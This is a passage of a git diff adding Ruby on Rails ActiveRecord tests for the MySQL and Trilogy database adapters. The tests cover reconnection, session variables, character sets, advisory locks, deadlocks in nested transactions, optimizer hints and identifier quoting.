+        ActiveRecord::ConnectionAdapters::TrilogyAdapter.new(configuration)
+      end
+      connection.drop_table "ex", if_exists: true
+    end
+  end
+
+  def test_no_automatic_reconnection_after_timeout
+    assert_predicate @connection, :active?
+    cause_server_side_disconnect
+    assert_not_predicate @connection, :active?
+  ensure
+    # Repair all fixture connections so other tests won't break.
+    @fixture_connection_pools.each { |p| p.lease_connection.verify! }
+  end
+
+  def test_successful_reconnection_after_timeout_with_manual_reconnect
+    assert_predicate @connection, :active?
+    cause_server_side_disconnect
+    @connection.reconnect!
+    assert_predicate @connection, :active?
+  end
+
+  def test_successful_reconnection_after_timeout_with_verify
+    assert_predicate @connection, :active?
+    cause_server_side_disconnect
+    @connection.verify!
+    assert_predicate @connection, :active?
+  end
+
+  def test_execute_after_disconnect_reconnects
+    @connection.disconnect!
+
+    assert_equal 3, @connection.select_value("SELECT 1+2")
+  end
+
+  def test_quote_after_disconnect_reconnects
+    @connection.disconnect!
+
+    assert_equal "'string'", @connection.quote("string")
+  end
+
+  def test_active_after_disconnect
+    @connection.disconnect!
+    assert_equal false, @connection.active?
+  end
+
+  def test_wait_timeout_as_string
+    run_without_connection do |orig_connection|
+      ActiveRecord::Base.establish_connection(orig_connection.merge(wait_timeout: "60"))
+      result = ActiveRecord::Base.lease_connection.select_value("SELECT @@SESSION.wait_timeout")
+      assert_equal 60, result
+    end
+  end
+
+  def test_wait_timeout_as_url
+    run_without_connection do |orig_connection|
+      ActiveRecord::Base.establish_connection(orig_connection.merge("url" => "#{orig_connection[:adapter]}:///?wait_timeout=60"))
+      result = ActiveRecord::Base.lease_connection.select_value("SELECT @@SESSION.wait_timeout")
+      assert_equal 60, result
+    end
+  end
+
+  def test_character_set_connection_is_configured
+    run_without_connection do |orig_connection|
+      configuration_hash = orig_connection.except(:encoding, :collation)
+      ActiveRecord::Base.establish_connection(configuration_hash.merge!(encoding: "cp932"))
+      connection = ActiveRecord::Base.lease_connection
+
+      assert_equal "cp932", connection.show_variable("character_set_client")
+      assert_equal "cp932", connection.show_variable("character_set_results")
+      assert_equal "cp932", connection.show_variable("character_set_connection")
+      assert_equal "cp932_japanese_ci", connection.show_variable("collation_connection")
+
+      expected = "�ん���".encode(Encoding::CP932)
+      assert_equal expected, connection.select_value("SELECT '�ん���'")
+    end
+  end
+
+  def test_collation_connection_is_configured
+    assert_equal "utf8mb4_unicode_ci", @connection.show_variable("collation_connection")
+    assert_equal 1, @connection.select_value("SELECT '�ん���' = 'コンニ��'")
+
+    assert_equal "utf8mb4_general_ci", ARUnit2Model.lease_connection.show_variable("collation_connection")
+    assert_equal 0, ARUnit2Model.lease_connection.select_value("SELECT '�ん���' = 'コンニ��'")
+  end
+
+  def test_mysql_default_in_strict_mode
+    result = @connection.select_value("SELECT @@SESSION.sql_mode")
+    assert_match %r(STRICT_ALL_TABLES), result
+  end
+
+  def test_mysql_strict_mode_disabled
+    run_without_connection do |orig_connection|
+      ActiveRecord::Base.establish_connection(orig_connection.merge(strict: false))
+      result = ActiveRecord::Base.lease_connection.select_value("SELECT @@SESSION.sql_mode")
+      assert_no_match %r(STRICT_ALL_TABLES), result
+    end
+  end
+
+  def test_mysql_strict_mode_specified_default
+    run_without_connection do |orig_connection|
+      ActiveRecord::Base.establish_connection(orig_connection.merge(strict: :default))
+      global_sql_mode = ActiveRecord::Base.lease_connection.select_value("SELECT @@GLOBAL.sql_mode")
+      session_sql_mode = ActiveRecord::Base.lease_connection.select_value("SELECT @@SESSION.sql_mode")
+      assert_equal global_sql_mode, session_sql_mode
+    end
+  end
+
+  def test_mysql_sql_mode_variable_overrides_strict_mode
+    run_without_connection do |orig_connection|
+      ActiveRecord::Base.establish_connection(orig_connection.deep_merge(variables: { "sql_mode" => "ansi" }))
+      result = ActiveRecord::Base.lease_connection.select_value("SELECT @@SESSION.sql_mode")
+      assert_no_match %r(STRICT_ALL_TABLES), result
+    end
+  end
+
+  unless current_adapter?(:TrilogyAdapter)
+    def test_passing_arbitrary_flags_to_adapter
+      run_without_connection do |orig_connection|
+        ActiveRecord::Base.establish_connection(orig_connection.merge(flags: Mysql2::Client::COMPRESS))
+        assert_equal (Mysql2::Client::COMPRESS | Mysql2::Client::FOUND_ROWS), ActiveRecord::Base.lease_connection.raw_connection.query_options[:flags]
+      end
+    end
+
+    def test_passing_flags_by_array_to_adapter
+      run_without_connection do |orig_connection|
+        ActiveRecord::Base.establish_connection(orig_connection.merge(flags: ["COMPRESS"]))
+        assert_equal ["COMPRESS", "FOUND_ROWS"], ActiveRecord::Base.lease_connection.raw_connection.query_options[:flags]
+      end
+    end
+  end
+
+  def test_mysql_set_session_variable
+    run_without_connection do |orig_connection|
+      ActiveRecord::Base.establish_connection(orig_connection.deep_merge(variables: { default_week_format: 3 }))
+      session_mode = ActiveRecord::Base.lease_connection.exec_query "SELECT @@SESSION.DEFAULT_WEEK_FORMAT"
+      assert_equal 3, session_mode.rows.first.first.to_i
+    end
+  end
+
+  def test_mysql_set_session_variable_to_default
+    run_without_connection do |orig_connection|
+      ActiveRecord::Base.establish_connection(orig_connection.deep_merge(variables: { default_week_format: :default }))
+      global_mode = ActiveRecord::Base.lease_connection.exec_query "SELECT @@GLOBAL.DEFAULT_WEEK_FORMAT"
+      session_mode = ActiveRecord::Base.lease_connection.exec_query "SELECT @@SESSION.DEFAULT_WEEK_FORMAT"
+      assert_equal global_mode.rows, session_mode.rows
+    end
+  end
+
+  def test_logs_name_show_variable
+    ActiveRecord::Base.lease_connection.materialize_transactions
+    @subscriber.logged.clear
+    @connection.show_variable "foo"
+    assert_equal "SCHEMA", @subscriber.logged[0][1]
+  end
+
+  def test_logs_name_rename_column_for_alter
+    @connection.execute "CREATE TABLE `bar_baz` (`foo` varchar(255))"
+    @subscriber.logged.clear
+    @connection.send(:rename_column_for_alter, "bar_baz", "foo", "foo2")
+    if @connection.send(:supports_rename_column?)
+      assert_empty @subscriber.logged
+    else
+      assert_equal "SCHEMA", @subscriber.logged[0][1]
+    end
+  ensure
+    @connection.execute "DROP TABLE `bar_baz`"
+  end
+
+  def test_get_and_release_advisory_lock
+    lock_name = "test lock'n'name"
+
+    got_lock = @connection.get_advisory_lock(lock_name)
+    assert got_lock, "get_advisory_lock should have returned true but it didn't"
+
+    assert_equal false, test_lock_free(lock_name),
+      "expected the test advisory lock to be held but it wasn't"
+
+    released_lock = @connection.release_advisory_lock(lock_name)
+    assert released_lock, "expected release_advisory_lock to return true but it didn't"
+
+    assert test_lock_free(lock_name), "expected the test lock to be available after releasing"
+  end
+
+  def test_release_non_existent_advisory_lock
+    lock_name = "fake lock'n'name"
+    released_non_existent_lock = @connection.release_advisory_lock(lock_name)
+    assert_equal false, released_non_existent_lock,
+      "expected release_advisory_lock to return false when there was no lock to release"
+  end
+
+  def test_version_string
+    @connection.stub(:get_full_version, "8.0.35-0ubuntu0.22.04.1") do
+      assert_equal "8.0.35", @connection.get_database_version.to_s
+    end
+
+    @connection.stub(:get_full_version, "5.7.0") do
+      assert_equal "5.7.0", @connection.get_database_version.to_s
+    end
+  end
+
+  def test_version_string_with_mariadb
+    @connection.stub(:get_full_version, "5.5.5-10.6.5-MariaDB-1:10.6.5+maria~focal") do
+      assert_equal "10.6.5", @connection.get_database_version.to_s
+    end
+  end
+
+  def test_version_string_invalid
+    @connection.stub(:get_full_version, "some-database-proxy") do
+      error = assert_raises(ActiveRecord::DatabaseVersionError) do
+        @connection.get_database_version
+      end
+      assert_equal "Unable to parse MySQL version from \"some-database-proxy\"", error.message
+    end
+
+    @connection.stub(:get_full_version, "") do
+      error = assert_raises(ActiveRecord::DatabaseVersionError) do
+        @connection.get_database_version
+      end
+      assert_equal "Unable to parse MySQL version from \"\"", error.message
+    end
+
+    @connection.stub(:get_full_version, nil) do
+      error = assert_raises(ActiveRecord::DatabaseVersionError) do
+        @connection.get_database_version
+      end
+      assert_equal "Unable to parse MySQL version from nil", error.message
+    end
+  end
+
+  private
+    def cause_server_side_disconnect
+      @connection.update("set @@wait_timeout=1")
+      sleep 2
+    end
+
+    def test_lock_free(lock_name)
+      @connection.select_value("SELECT IS_FREE_LOCK(#{@connection.quote(lock_name)})") == 1
+    end
+end
diff --git a/activerecord/test/cases/adapters/abstract_mysql_adapter/count_deleted_rows_with_lock_test.rb b/activerecord/test/cases/adapters/abstract_mysql_adapter/count_deleted_rows_with_lock_test.rb
new file mode 100644
index 0000000000000..dbff57c0f7a14
--- /dev/null
+++ b/activerecord/test/cases/adapters/abstract_mysql_adapter/count_deleted_rows_with_lock_test.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/connection_helper"
+require "models/author"
+require "models/bulb"
+require "models/car"
+
+module ActiveRecord
+  class CountDeletedRowsWithLockTest < ActiveRecord::AbstractMysqlTestCase
+    test "delete and create in different threads synchronize correctly" do
+      Bulb.unscoped.delete_all
+      Bulb.create!(name: "Jimmy", color: "blue")
+
+      delete_thread = Thread.new do
+        Bulb.unscoped.delete_all
+      end
+
+      create_thread = Thread.new do
+        Author.create!(name: "Tommy")
+      end
+
+      delete_thread.join
+      create_thread.join
+
+      assert_equal 1, delete_thread.value
+    end
+  end
+end
diff --git a/activerecord/test/cases/adapters/abstract_mysql_adapter/empty_all_tables_test.rb b/activerecord/test/cases/adapters/abstract_mysql_adapter/empty_all_tables_test.rb
new file mode 100644
index 0000000000000..8f0065782de41
--- /dev/null
+++ b/activerecord/test/cases/adapters/abstract_mysql_adapter/empty_all_tables_test.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/connection_helper"
+require "models/author"
+require "models/bulb"
+require "models/car"
+
+class MySQLEmptyTablesTest < ActiveRecord::AbstractMysqlTestCase
+  self.use_transactional_tests = false
+
+  def setup
+    @conn = ActiveRecord::Base.lease_connection
+  end
+
+  def test_empty_all_tables_uses_delete_not_truncate
+    queries = []
+    subscriber = ActiveSupport::Notifications.subscribe("sql.active_record") do |event|
+      queries << event.payload[:sql] if event.payload[:name] == "Delete Tables"
+    end
+
+    @conn.empty_all_tables
+
+    ActiveSupport::Notifications.unsubscribe(subscriber)
+
+    assert queries.any? { |q| q.include?("DELETE FROM") }, "Expected DELETE statements to be used"
+    assert queries.none? { |q| q.include?("TRUNCATE") }, "Expected TRUNCATE statements to NOT be used"
+  end
+end
diff --git a/activerecord/test/cases/adapters/abstract_mysql_adapter/json_test.rb b/activerecord/test/cases/adapters/abstract_mysql_adapter/json_test.rb
new file mode 100644
index 0000000000000..2a30615e38b49
--- /dev/null
+++ b/activerecord/test/cases/adapters/abstract_mysql_adapter/json_test.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "cases/json_shared_test_cases"
+
+if ActiveRecord::Base.lease_connection.supports_json?
+  class JSONTest < ActiveRecord::AbstractMysqlTestCase
+    include JSONSharedTestCases
+    self.use_transactional_tests = false
+
+    def setup
+      super
+      @connection.create_table("json_data_type") do |t|
+        t.json "payload"
+        t.json "settings"
+      end
+    end
+
+    private
+      def column_type
+        :json
+      end
+  end
+end
diff --git a/activerecord/test/cases/adapters/abstract_mysql_adapter/mysql_boolean_test.rb b/activerecord/test/cases/adapters/abstract_mysql_adapter/mysql_boolean_test.rb
new file mode 100644
index 0000000000000..2447b9d92fec0
--- /dev/null
+++ b/activerecord/test/cases/adapters/abstract_mysql_adapter/mysql_boolean_test.rb
@@ -0,0 +1,102 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class MySQLBooleanTest < ActiveRecord::AbstractMysqlTestCase
+  self.use_transactional_tests = false
+
+  class BooleanType < ActiveRecord::Base
+    self.table_name = "mysql_booleans"
+  end
+
+  setup do
+    @connection = ActiveRecord::Base.lease_connection
+    @connection.clear_cache!
+    @connection.create_table("mysql_booleans") do |t|
+      t.boolean "archived"
+      t.string "published", limit: 1
+    end
+    BooleanType.reset_column_information
+
+    @emulate_booleans = @connection.class.emulate_booleans
+  end
+
+  teardown do
+    emulate_booleans @emulate_booleans
+    @connection.drop_table "mysql_booleans"
+  end
+
+  test "column type with emulated booleans" do
+    emulate_booleans true
+
+    assert_equal :boolean, boolean_column.type
+    assert_equal :string, string_column.type
+  end
+
+  test "column type without emulated booleans" do
+    emulate_booleans false
+
+    assert_equal :integer, boolean_column.type
+    assert_equal :string, string_column.type
+  end
+
+  test "type casting with emulated booleans" do
+    emulate_booleans true
+
+    boolean = BooleanType.create!(archived: true, published: true)
+    attributes = boolean.reload.attributes_before_type_cast
+    assert_equal 1, attributes["archived"]
+    assert_equal "1", attributes["published"]
+
+    boolean = BooleanType.create!(archived: false, published: false)
+    attributes = boolean.reload.attributes_before_type_cast
+    assert_equal 0, attributes["archived"]
+    assert_equal "0", attributes["published"]
+
+    assert_equal 1, @connection.type_cast(true)
+    assert_equal 0, @connection.type_cast(false)
+  end
+
+  test "type casting without emulated booleans" do
+    emulate_booleans false
+
+    boolean = BooleanType.create!(archived: true, published: true)
+    attributes = boolean.reload.attributes_before_type_cast
+    assert_equal 1, attributes["archived"]
+    assert_equal "1", attributes["published"]
+
+    boolean = BooleanType.create!(archived: false, published: false)
+    attributes = boolean.reload.attributes_before_type_cast
+    assert_equal 0, attributes["archived"]
+    assert_equal "0", attributes["published"]
+
+    assert_equal 1, @connection.type_cast(true)
+    assert_equal 0, @connection.type_cast(false)
+  end
+
+  test "with booleans stored as 1 and 0" do
+    @connection.execute "INSERT INTO mysql_booleans(archived, published) VALUES(1, '1')"
+    boolean = BooleanType.first
+    assert_equal true, boolean.archived
+    assert_equal "1", boolean.published
+  end
+
+  test "with booleans stored as t" do
+    @connection.execute "INSERT INTO mysql_booleans(published) VALUES('t')"
+    boolean = BooleanType.first
+    assert_equal "t", boolean.published
+  end
+
+  def boolean_column
+    BooleanType.columns.find { |c| c.name == "archived" }
+  end
+
+  def string_column
+    BooleanType.columns.find { |c| c.name == "published" }
+  end
+
+  def emulate_booleans(value)
+    @connection.class.emulate_booleans = value
+    BooleanType.reset_column_information
+  end
+end
diff --git a/activerecord/test/cases/adapters/abstract_mysql_adapter/mysql_enum_test.rb b/activerecord/test/cases/adapters/abstract_mysql_adapter/mysql_enum_test.rb
new file mode 100644
index 0000000000000..be61b264820dd
--- /dev/null
+++ b/activerecord/test/cases/adapters/abstract_mysql_adapter/mysql_enum_test.rb
@@ -0,0 +1,47 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/schema_dumping_helper"
+
+class MySQLEnumTest < ActiveRecord::AbstractMysqlTestCase
+  self.use_transactional_tests = false
+
+  include SchemaDumpingHelper
+
+  class EnumTest < ActiveRecord::Base
+    attribute :state, :integer
+
+    enum :state, {
+      start: 0,
+      middle: 1,
+      finish: 2
+    }
+  end
+
+  def setup
+    EnumTest.lease_connection.create_table :enum_tests, id: false, force: true do |t|
+      t.column :enum_column, "enum('text','blob','tiny','medium','long','unsigned','bigint')"
+      t.column :state, "TINYINT(1)"
+    end
+  end
+
+  def test_should_not_be_unsigned
+    column = EnumTest.columns_hash["enum_column"]
+    assert_not_predicate column, :unsigned?
+  end
+
+  def test_should_not_be_bigint
+    column = EnumTest.columns_hash["enum_column"]
+    assert_not_predicate column, :bigint?
+  end
+
+  def test_schema_dumping
+    schema = dump_table_schema "enum_tests"
+    assert_match %r{t\.column "enum_column", "enum\('text','blob','tiny','medium','long','unsigned','bigint'\)"$}, schema
+  end
+
+  def test_enum_with_attribute
+    enum_test = EnumTest.create!(state: :middle)
+    assert_equal "middle", enum_test.state
+  end
+end
diff --git a/activerecord/test/cases/adapters/abstract_mysql_adapter/mysql_explain_test.rb b/activerecord/test/cases/adapters/abstract_mysql_adapter/mysql_explain_test.rb
new file mode 100644
index 0000000000000..c1d75dd22dc7b
--- /dev/null
+++ b/activerecord/test/cases/adapters/abstract_mysql_adapter/mysql_explain_test.rb
@@ -0,0 +1,77 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/author"
+require "models/post"
+
+class MySQLExplainTest < ActiveRecord::AbstractMysqlTestCase
+  fixtures :authors, :author_addresses
+
+  def test_explain_for_one_query
+    explain = Author.where(id: 1).explain.inspect
+    assert_match %(EXPLAIN SELECT `authors`.* FROM `authors` WHERE `authors`.`id` = 1), explain
+    assert_match %r(authors), explain
+  end
+
+  def test_explain_with_eager_loading
+    explain = Author.where(id: 1).includes(:posts).explain.inspect
+    assert_match %(EXPLAIN SELECT `authors`.* FROM `authors` WHERE `authors`.`id` = 1), explain
+    assert_match %r(authors), explain
+    assert_match %(EXPLAIN SELECT `posts`.* FROM `posts` WHERE `posts`.`author_id` = 1), explain
+    assert_match %r(posts), explain
+  end
+
+  def test_explain_with_options_as_symbol
+    explain = Author.where(id: 1).explain(explain_option).inspect
+    assert_match %(#{expected_analyze_clause} SELECT `authors`.* FROM `authors` WHERE `authors`.`id` = 1), explain
+  end
+
+  def test_explain_with_options_as_strings
+    explain = Author.where(id: 1).explain(explain_option.to_s.upcase).inspect
+    assert_match %(#{expected_analyze_clause} SELECT `authors`.* FROM `authors` WHERE `authors`.`id` = 1), explain
+  end
+
+  def test_explain_options_with_eager_loading
+    explain = Author.where(id: 1).includes(:posts).explain(explain_option).inspect
+    assert_match %(#{expected_analyze_clause} SELECT `authors`.* FROM `authors` WHERE `authors`.`id` = 1), explain
+    assert_match %(#{expected_analyze_clause} SELECT `posts`.* FROM `posts` WHERE `posts`.`author_id` = 1), explain
+  end
+
+  def test_explain_format_option
+    explain = Author.all.explain(format: :json).inspect
+
+    assert_match(/\{.*\}/m, explain)
+  end
+
+  private
+    def explain_option
+      supports_analyze? || supports_explain_analyze? ? :analyze : :extended
+    end
+
+    def expected_analyze_clause
+      if supports_analyze?
+        "ANALYZE"
+      elsif supports_explain_analyze?
+        "EXPLAIN ANALYZE"
+      else
+        "EXPLAIN EXTENDED"
+      end
+    end
+
+    def supports_explain_analyze?
+      if conn.mariadb?
+        conn.database_version <= "10.0"
+      else
+        conn.database_version >= "6.0"
+      end
+    end
+
+    # https://mariadb.com/kb/en/analyze-statement/
+    def supports_analyze?
+      conn.mariadb? && conn.database_version >= "10.1.0"
+    end
+
+    def conn
+      ActiveRecord::Base.lease_connection
+    end
+end
diff --git a/activerecord/test/cases/adapters/abstract_mysql_adapter/nested_deadlock_test.rb b/activerecord/test/cases/adapters/abstract_mysql_adapter/nested_deadlock_test.rb
new file mode 100644
index 0000000000000..c187e76dc9fd1
--- /dev/null
+++ b/activerecord/test/cases/adapters/abstract_mysql_adapter/nested_deadlock_test.rb
@@ -0,0 +1,191 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/connection_helper"
+
+module ActiveRecord
+  class NestedDeadlockTest < ActiveRecord::AbstractMysqlTestCase
+    self.use_transactional_tests = false
+
+    class Sample < ActiveRecord::Base
+      self.table_name = "samples"
+    end
+
+    setup do
+      @abort, Thread.abort_on_exception = Thread.abort_on_exception, false
+      Thread.report_on_exception, @original_report_on_exception = false, Thread.report_on_exception
+
+      connection = ActiveRecord::Base.lease_connection
+      connection.clear_cache!
+
+      connection.create_table("samples", force: true) do |t|
+        t.integer "value"
+      end
+
+      Sample.reset_column_information
+    end
+
+    teardown do
+      ActiveRecord::Base.connection_handler.clear_active_connections!(:all)
+      ActiveRecord::Base.lease_connection.drop_table "samples", if_exists: true
+
+      Thread.abort_on_exception = @abort
+      Thread.report_on_exception = @original_report_on_exception
+    end
+
+    test "deadlock correctly raises Deadlocked inside nested SavepointTransaction" do
+      connection = Sample.lease_connection
+      assert_raises(ActiveRecord::Deadlocked) do
+        barrier = Concurrent::CyclicBarrier.new(2)
+
+        s1 = Sample.create value: 1
+        s2 = Sample.create value: 2
+
+        begin
+          thread = Thread.new do
+            Sample.transaction(requires_new: false) do
+              make_parent_transaction_dirty
+              Sample.transaction(requires_new: true) do
+                assert_current_transaction_is_savepoint_transaction
+                s1.lock!
+                barrier.wait(30)
+                s2.update value: 1
+              end
+            end
+          end
+
+          begin
+            Sample.transaction(requires_new: false) do
+              make_parent_transaction_dirty
+              Sample.transaction(requires_new: true) do
+                assert_current_transaction_is_savepoint_transaction
+                s2.lock!
+                barrier.wait(30)
+                s1.update value: 2
+              end
+            end
+          ensure
+            thread.join
+          end
+        rescue ActiveRecord::StatementInvalid => e
+          if /SAVEPOINT active_record_. does not exist/ =~ e.to_s
+            flunk "ROLLBACK TO SAVEPOINT query issued for savepoint that no longer exists due to deadlock: #{e}"
+          else
+            raise e
+          end
+        end
+      end
+      assert_predicate connection, :active?
+    end
+
+    test "rollback exception is swallowed after a rollback" do
+      barrier = Concurrent::CyclicBarrier.new(2)
+      deadlocks = 0
+
+      s1 = Sample.create value: 1
+      s2 = Sample.create value: 2
+
+      thread = Thread.new do
+        Sample.transaction(requires_new: false) do
+          make_parent_transaction_dirty
+          Sample.transaction(requires_new: true) do
+            assert_current_transaction_is_savepoint_transaction
+            s1.lock!
+            barrier.wait(30)
+            s2.update value: 4
+
+          rescue ActiveRecord::Deadlocked
+            deadlocks += 1
+
+            # This rollback is actually wrong as mysql automatically rollbacks the transaction
+            # which means we have nothing to rollback on the db side
+            # but we expect the framework to handle our mistake gracefully
+            raise ActiveRecord::Rollback
+          end
+
+          s2.update value: 10
+        end
+      end
+
+      begin
+        Sample.transaction(requires_new: false) do
+          make_parent_transaction_dirty
+          Sample.transaction(requires_new: true) do
+            assert_current_transaction_is_savepoint_transaction
+            s2.lock!
+            barrier.wait(30)
+            s1.update value: 3
+          rescue ActiveRecord::Deadlocked
+            deadlocks += 1
+            raise ActiveRecord::Rollback
+          end
+          s1.update value: 10
+        end
+      ensure
+        thread.join
+      end
+
+      assert_equal 1, deadlocks, "deadlock is required for the test setup"
+      assert_equal [10, 10], Sample.pluck(:value)
+    end
+
+    test "deadlock inside nested SavepointTransaction is recoverable" do
+      barrier = Concurrent::CyclicBarrier.new(2)
+      deadlocks = 0
+
+      s1 = Sample.create value: 1
+      s2 = Sample.create value: 2
+
+      thread = Thread.new do
+        Sample.transaction(requires_new: false) do
+          make_parent_transaction_dirty
+          begin
+            Sample.transaction(requires_new: true) do
+              assert_current_transaction_is_savepoint_transaction
+              s1.lock!
+              barrier.wait(30)
+              s2.update value: 4
+            end
+          rescue ActiveRecord::Deadlocked
+            deadlocks += 1
+          end
+          s2.update value: 10
+        end
+      end
+
+      begin
+        Sample.transaction(requires_new: false) do
+          make_parent_transaction_dirty
+          begin
+            Sample.transaction(requires_new: true) do
+              assert_current_transaction_is_savepoint_transaction
+              s2.lock!
+              barrier.wait(30)
+              s1.update value: 3
+            end
+          rescue ActiveRecord::Deadlocked
+            deadlocks += 1
+          end
+          s1.update value: 10
+        end
+      ensure
+        thread.join
+      end
+      assert_equal 1, deadlocks
+      assert_equal [10, 10], Sample.pluck(:value)
+    end
+
+    private
+      # This should cause the next nested transaction to be a savepoint transaction.
+      def make_parent_transaction_dirty
+        Sample.take
+      end
+
+      def assert_current_transaction_is_savepoint_transaction
+        current_transaction = Sample.lease_connection.current_transaction
+        unless current_transaction.is_a?(ActiveRecord::ConnectionAdapters::SavepointTransaction)
+          flunk("current transaction is not a savepoint transaction")
+        end
+      end
+  end
+end
diff --git a/activerecord/test/cases/adapters/abstract_mysql_adapter/optimizer_hints_test.rb b/activerecord/test/cases/adapters/abstract_mysql_adapter/optimizer_hints_test.rb
new file mode 100644
index 0000000000000..48d6c94eab1d7
--- /dev/null
+++ b/activerecord/test/cases/adapters/abstract_mysql_adapter/optimizer_hints_test.rb
@@ -0,0 +1,69 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/post"
+
+class OptimizerHintsTest < ActiveRecord::AbstractMysqlTestCase
+  if supports_optimizer_hints?
+    fixtures :posts
+
+    def test_optimizer_hints
+      assert_queries_match(%r{\ASELECT /\*\+ NO_RANGE_OPTIMIZATION\(posts index_posts_on_author_id\) \*/}) do
+        posts = Post.optimizer_hints("NO_RANGE_OPTIMIZATION(posts index_posts_on_author_id)")
+        posts = posts.select(:id).where(author_id: [0, 1])
+        assert_includes posts.explain.inspect, "index_posts_on_author_id"
+      end
+    end
+
+    def test_optimizer_hints_with_count_subquery
+      assert_queries_match(%r{\ASELECT /\*\+ NO_RANGE_OPTIMIZATION\(posts index_posts_on_author_id\) \*/}) do
+        posts = Post.optimizer_hints("NO_RANGE_OPTIMIZATION(posts index_posts_on_author_id)")
+        posts = posts.select(:id).where(author_id: [0, 1]).limit(5)
+        assert_equal 5, posts.count
+      end
+    end
+
+    def test_optimizer_hints_is_sanitized
+      assert_queries_match(%r{\ASELECT /\*\+ NO_RANGE_OPTIMIZATION\(posts index_posts_on_author_id\) \*/}) do
+        posts = Post.optimizer_hints("/*+ NO_RANGE_OPTIMIZATION(posts index_posts_on_author_id) */")
+        posts = posts.select(:id).where(author_id: [0, 1])
+        assert_includes posts.explain.inspect, "index_posts_on_author_id"
+      end
+
+      assert_queries_match(%r{\ASELECT /\*\+ \*\* // `posts`\.\*, // \*\* \*/}) do
+        posts = Post.optimizer_hints("**// `posts`.*, //**")
+        posts = posts.select(:id).where(author_id: [0, 1])
+        assert_equal({ "id" => 1 }, posts.first.as_json)
+      end
+    end
+
+    def test_optimizer_hints_with_unscope
+      assert_queries_match(%r{\ASELECT `posts`\.`id`}) do
+        posts = Post.optimizer_hints("/*+ NO_RANGE_OPTIMIZATION(posts index_posts_on_author_id) */")
+        posts = posts.select(:id).where(author_id: [0, 1])
+        posts.unscope(:optimizer_hints).load
+      end
+    end
+
+    def test_optimizer_hints_with_or
+      assert_queries_match(%r{\ASELECT /\*\+ NO_RANGE_OPTIMIZATION\(posts index_posts_on_author_id\) \*/}) do
+        Post.optimizer_hints("NO_RANGE_OPTIMIZATION(posts index_posts_on_author_id)")
+          .or(Post.all).load
+      end
+
+      queries = capture_sql do
+        Post.optimizer_hints("NO_RANGE_OPTIMIZATION(posts index_posts_on_author_id)")
+          .or(Post.optimizer_hints("NO_ICP(posts)")).load
+      end
+      assert_equal 1, queries.length
+      assert_includes queries.first, "NO_RANGE_OPTIMIZATION(posts index_posts_on_author_id)"
+      assert_not_includes queries.first, "NO_ICP(posts)"
+
+      queries = capture_sql do
+        Post.all.or(Post.optimizer_hints("NO_ICP(posts)")).load
+      end
+      assert_equal 1, queries.length
+      assert_not_includes queries.first, "NO_ICP(posts)"
+    end
+  end
+end
diff --git a/activerecord/test/cases/adapters/abstract_mysql_adapter/quoting_test.rb b/activerecord/test/cases/adapters/abstract_mysql_adapter/quoting_test.rb
new file mode 100644
index 0000000000000..2386299b9a4a1
--- /dev/null
+++ b/activerecord/test/cases/adapters/abstract_mysql_adapter/quoting_test.rb
@@ -0,0 +1,49 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class QuotingTest < ActiveRecord::AbstractMysqlTestCase
+  def setup
+    super
+    @conn = ActiveRecord::Base.lease_connection
+  end
+
+  def test_cast_bound_integer
+    assert_equal "42", @conn.cast_bound_value(42)
+  end
+
+  def test_cast_bound_big_decimal
+    assert_equal "4.2", @conn.cast_bound_value(BigDecimal("4.2"))
+  end
+
+  def test_cast_bound_rational
+    assert_equal "0.75", @conn.cast_bound_value(Rational(3, 4))
+  end
+
+  def test_cast_bound_true
+    assert_equal "1", @conn.cast_bound_value(true)
+  end
+
+  def test_cast_bound_false
+    assert_equal "0", @conn.cast_bound_value(false)
+  end
+
+  def test_quote_string
+    assert_equal "\\'", @conn.quote_string("'")
+  end
+
+  def test_quote_column_name
+    [@conn, @conn.class].each do |adapter|
+      assert_equal "`foo`", adapter.quote_column_name("foo")
+      assert_equal '`hel"lo`', adapter.quote_column_name(%{hel"lo})
+    end
+  end
+
+  def test_quote_table_name
+    [@conn, @conn.class].each do |adapter|
+      assert_equal "`foo`", adapter.quote_table_name("foo")
+      assert_equal "`foo`.`bar`", adapter.quote_table_name("foo.bar")
+      assert_equal '`hel"lo.wol\\d`', adapter.quote_column_name('hel"lo.wol\\d')
+    end
+  end
+end
diff --git a/activerecord/test/cases/adapters/abstract_mysql_adapter/schema_migrations_test.rb b/activerecord/test/cases/adapters/abstract_mysql_adapter/schema_migrations_test.rb
new file mode 100644
index 0000000000000..39ff9819b1215
--- /dev/null
+++ b/activerecord/test/cases/adapters/abstract_mysql_adapter/schema_migrations_test.rb
@@ -0,0 +1,68 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class SchemaMigrationsTest < ActiveRecord::AbstractMysqlTestCase
+  def setup
+    @pool = ActiveRecord::Base.connection_pool
+    @schema_migration = @pool.schema_migration
+  end
+
+  def test_renaming_index_on_foreign_key
+    connection.add_index "engines", "car_id"
+    connection.add_foreign_key :engines, :cars, name: "fk_engines_cars"
+
+    connection.rename_index("engines", "index_engines_on_car_id", "idx_renamed")
+    assert_equal ["idx_renamed"], connection.indexes("engines").map(&:name)
+  ensure
+    connection.remove_foreign_key :engines, name: "fk_engines_cars"
+  end
+
+  def test_initializes_schema_migrations_for_encoding_utf8mb4
+    with_encoding_utf8mb4 do
+      table_name = @schema_migration.table_name
+      connection.drop_table table_name, if_exists: true
+
+      @schema_migration.create_table
+
+      assert connection.column_exists?(table_name, :version, :string)
+    end
+  end
+
+  def test_initializes_internal_metadata_for_encoding_utf8mb4
+    with_encoding_utf8mb4 do
+      internal_metadata = @pool.internal_metadata
+      table_name = internal_metadata.table_name
+      connection.drop_table table_name, if_exists: true
+
+      internal_metadata.create_table
+
+      assert connection.column_exists?(table_name, :key, :string)
+    end
+  ensure
+    @pool.internal_metadata[:environment] = @pool.migration_context.current_environment
+  end
+
+  private
+    def with_encoding_utf8mb4
+      database_name = connection.current_database
+      database_info = connection.select_one("SELECT * FROM information_schema.schemata WHERE schema_name = '#{database_name}'")
+
+      original_charset = database_info["DEFAULT_CHARACTER_SET_NAME"]
